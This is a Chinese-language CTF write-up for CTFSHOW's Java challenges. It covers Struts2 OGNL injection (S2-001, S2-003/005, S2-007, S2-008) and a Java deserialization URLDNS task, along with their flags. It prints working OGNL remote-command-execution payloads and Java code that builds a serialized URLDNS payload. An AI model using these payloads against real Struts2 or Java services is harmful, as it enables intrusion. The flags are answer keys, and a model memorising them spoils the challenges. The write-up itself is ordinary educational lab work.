CTFSHOW-Java | 风尘孤狼
0%

CTFSHOW-Java

java系列刷题

前言

CTFSHOW的JAVA系列题目直接一块写了,web279-300都是JAVA中的struts2漏洞,然后web846-858是JAVA反序列化

对于struts2漏洞前边几个直接工具一把梭就行了,漏洞也是先粗略了解一下

web279

echo FLAG

即可

S2-001

S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据
login.action

OGNL表达式中三个符号 %,#,$ 的含义

  • %的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值
  • #的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用
  • $主要是在Struts 2配置文件中,引用OGNL表达式
%{4-2}会解析计算
image-20240224222920702 image-20240224222934573
// 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令执行查看环境变量env
password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1
image-20240224203836617

ctfshow{92f1916f-79d5-4d62-bfb6-cb7ef3c447e6}

web280

http://57523298-42c6-467d-a146-b94aac858904.challenge.ctf.show/S2-005/example/HelloWorld.action

S2-005&&S2-003

S2-003

Struts2将HTTP的每个参数名解析为OGNL语句执行,而OGNL表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果

影响版本:Struts 2.0.0 - Struts 2.0.11.2

S2-005

S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003

影响版本:Struts 2.0.0 - Struts 2.1.8.1

?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ifconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

ctfshow{33aa1028-4d94-453b-810e-5f0282761549}

web281

http://2668eee6-3eba-4ce2-8dc5-f7df4b2147a8.challenge.ctf.show/S2-007/user.action

S2-007

ctfshow{7b8c3770-e689-4bb7-9b84-1c9f719a608e}

web282

http://19105e20-5fa4-438b-a387-31e1d96c76f0.challenge.ctf.show/S2-008/cookie.action

ctfshow{11214fd6-0120-4287-a8fc-129beea5a8d4}

http://19105e20-5fa4-438b-a387-31e1d96c76f0.challenge.ctf.show/S2-008/devmode.action

ysoserial.jar生成用ubuntu18.04

web846

ctfshow会对你post提交的ctfshow参数进行base64解码
然后进行反序列化
构造出对当前题目地址的dns查询即可获得flag
image-20240223212623047

应该就是考察的URLDNS

java -jar ysoserial.jar URLDNS "http://e7a9d2ce-264f-42f4-ad7c-125fba503dd0.challenge.ctf.show" |base64
$ java -jar ysoserial.jar URLDNS "http://e7a9d2ce-264f-42f4-ad7c-125fba503dd0.challenge.ctf.show" |base64
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVz
aG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFz
aENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgAD
TAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAN2U3YTlk
MmNlLTI2NGYtNDJmNC1hZDdjLTEyNWZiYTUwM2RkMC5jaGFsbGVuZ2UuY3RmLnNob3d0AABxAH4A
BXQABGh0dHBweHQAPmh0dHA6Ly9lN2E5ZDJjZS0yNjRmLTQyZjQtYWQ3Yy0xMjVmYmE1MDNkZDAu
Y2hhbGxlbmdlLmN0Zi5zaG93eA==

不用ysoserial.jar也可以

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class main {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
        URL url = new URL("http://e7a9d2ce-264f-42f4-ad7c-125fba503dd0.challenge.ctf.show");
        // 修改初始的hashCode,使得序列化时不会触发
        Class c = url.getClass();
        Field urlfield = c.getDeclaredField("hashCode");
        urlfield.setAccessible(true);
        urlfield.set(url,1234);
        hashMap.put(url,1);
        urlfield.set(url,-1);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);

        byte[] payloadBytes = byteArrayOutputStream.toByteArray();
        String payload = Base64.getEncoder().encodeToString(payloadBytes);
        System.out.println(payload);
    }
}
image-20240223214439339

ctfshow{7b48b0d9-1662-4035-946a-6be807f817ef}

参考

专注ysoserial.jar

专注手打

专注手打

制作不易,如若感觉写的不错,欢迎打赏